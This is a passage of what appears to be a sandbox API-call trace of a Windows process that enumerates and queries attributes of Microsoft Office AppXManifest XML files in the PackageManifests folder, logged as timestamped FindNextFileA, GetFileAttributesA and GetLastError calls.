ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0133.464] GetLastError () returned 0x12 [0133.464] GetCurrentThreadId () returned 0x9b0 [0133.464] GetLastError () returned 0x12 [0133.464] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0133.464] GetLastError () returned 0x12 [0133.464] GetCurrentThreadId () returned 0x9b0 [0133.464] GetLastError () returned 0x12 [0133.464] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0133.464] GetLastError () returned 0x12 [0133.465] GetCurrentThreadId () returned 0x9b0 [0133.465] GetLastError () returned 0x12 [0133.465] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0133.465] GetLastError () returned 0x12 [0133.465] GetCurrentThreadId () returned 0x9b0 [0133.465] GetLastError () returned 0x12 [0133.465] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0133.465] GetLastError () returned 0x12 [0133.465] GetCurrentThreadId () returned 0x9b0 [0133.465] GetLastError () returned 0x12 [0133.465] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0133.465] GetLastError () returned 0x12 [0133.466] GetCurrentThreadId () returned 0x9b0 [0133.466] GetLastError () returned 0x12 [0133.466] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0133.466] GetLastError () returned 0x12 [0133.466] GetCurrentThreadId () returned 0x9b0 [0133.466] GetLastError () returned 0x12 [0133.466] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0133.466] GetLastError () returned 0x12 [0133.466] GetCurrentThreadId () returned 0x9b0 [0133.466] GetLastError () returned 0x12 [0133.467] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0133.467] GetLastError () returned 0x12 [0133.467] GetCurrentThreadId () returned 0x9b0 [0133.467] GetLastError () returned 0x12 [0133.467] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0133.467] GetLastError () returned 0x12 [0133.467] GetCurrentThreadId () returned 0x9b0 [0133.467] GetLastError () returned 0x12 [0133.468] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0133.468] GetLastError () returned 0x12 [0133.468] GetCurrentThreadId () returned 0x9b0 [0133.468] GetLastError () returned 0x12 [0133.468] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0133.468] GetLastError () returned 0x12 [0133.468] GetCurrentThreadId () returned 0x9b0 [0133.468] GetLastError () returned 0x12 [0133.468] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0133.468] GetLastError () returned 0x12 [0133.469] GetCurrentThreadId () returned 0x9b0 [0133.469] GetLastError () returned 0x12 [0133.469] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0133.469] GetLastError () returned 0x12 [0133.469] GetCurrentThreadId () returned 0x9b0 [0133.469] GetLastError () returned 0x12 [0133.469] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0133.469] GetLastError () returned 0x12 [0133.469] GetCurrentThreadId () returned 0x9b0 [0133.469] GetLastError () returned 0x12 [0133.469] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0133.470] GetLastError () returned 0x12 [0133.470] GetCurrentThreadId () returned 0x9b0 [0133.470] GetLastError () returned 0x12 [0133.470] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0133.470] GetLastError () returned 0x12 [0133.470] GetCurrentThreadId () returned 0x9b0 [0133.470] GetLastError () returned 0x12 [0133.470] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0133.470] GetLastError () returned 0x12 [0133.470] GetCurrentThreadId () returned 0x9b0 [0133.470] GetLastError () returned 0x12 [0133.471] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0133.471] GetLastError () returned 0x12 [0133.471] GetCurrentThreadId () returned 0x9b0 [0133.471] GetLastError () returned 0x12 [0133.471] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0133.471] GetLastError () returned 0x12 [0133.471] GetCurrentThreadId () returned 0x9b0 [0133.471] GetLastError () returned 0x12 [0133.471] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0133.471] GetLastError () returned 0x12 [0133.472] GetCurrentThreadId () returned 0x9b0 [0133.472] GetLastError () returned 0x12 [0133.472] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0133.472] GetLastError () returned 0x12 [0133.472] GetCurrentThreadId () returned 0x9b0 [0133.472] GetLastError () returned 0x12 [0133.472] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0133.472] GetLastError () returned 0x12 [0133.472] GetCurrentThreadId () returned 0x9b0 [0133.472] GetLastError () returned 0x12 [0133.472] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1 [0133.473] GetLastError () returned 0x12 [0133.473] GetCurrentThreadId () returned 0x9b0 [0133.473] GetLastError () returned 0x12 [0133.473] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0133.473] GetLastError () returned 0x12 [0133.473] GetCurrentThreadId () returned 0x9b0 [0133.473] GetLastError () returned 0x12 [0133.473] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0133.473] GetLastError () returned 0x12 [0133.473] GetCurrentThreadId () returned 0x9b0 [0133.474] GetLastError () returned 0x12 [0133.474] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0133.474] GetLastError () returned 0x12 [0133.475] GetCurrentThreadId () returned 0x9b0 [0133.475] GetLastError () returned 0x12 [0133.475] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0133.475] GetLastError () returned 0x12 [0133.475] GetCurrentThreadId () returned 0x9b0 [0133.475] GetLastError () returned 0x12 [0133.475] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0133.475] GetLastError () returned 0x12 [0133.475] GetCurrentThreadId () returned 0x9b0 [0133.475] GetLastError () returned 0x12 [0133.476] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0133.476] GetLastError () returned 0x12 [0133.476] GetCurrentThreadId () returned 0x9b0 [0133.476] GetLastError () returned 0x12 [0133.476] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 0 [0133.476] GetLastError () returned 0x12 [0133.476] GetCurrentThreadId () returned 0x9b0 [0133.476] GetLastError () returned 0x12 [0133.476] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0133.477] GetLastError () returned 0x12 [0133.478] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.479] GetCurrentThreadId () returned 0x9b0 [0133.479] GetLastError () returned 0x12 [0133.479] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.479] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.480] GetCurrentThreadId () returned 0x9b0 [0133.480] GetLastError () returned 0x12 [0133.480] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.481] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.481] GetCurrentThreadId () returned 0x9b0 [0133.481] GetLastError () returned 0x12 [0133.481] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.481] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.482] GetCurrentThreadId () returned 0x9b0 [0133.482] GetLastError () returned 0x12 [0133.482] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.483] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.483] GetCurrentThreadId () returned 0x9b0 [0133.484] GetLastError () returned 0x12 [0133.484] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.484] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.485] GetCurrentThreadId () returned 0x9b0 [0133.485] GetLastError () returned 0x12 [0133.485] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.486] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.486] GetCurrentThreadId () returned 0x9b0 [0133.486] GetLastError () returned 0x12 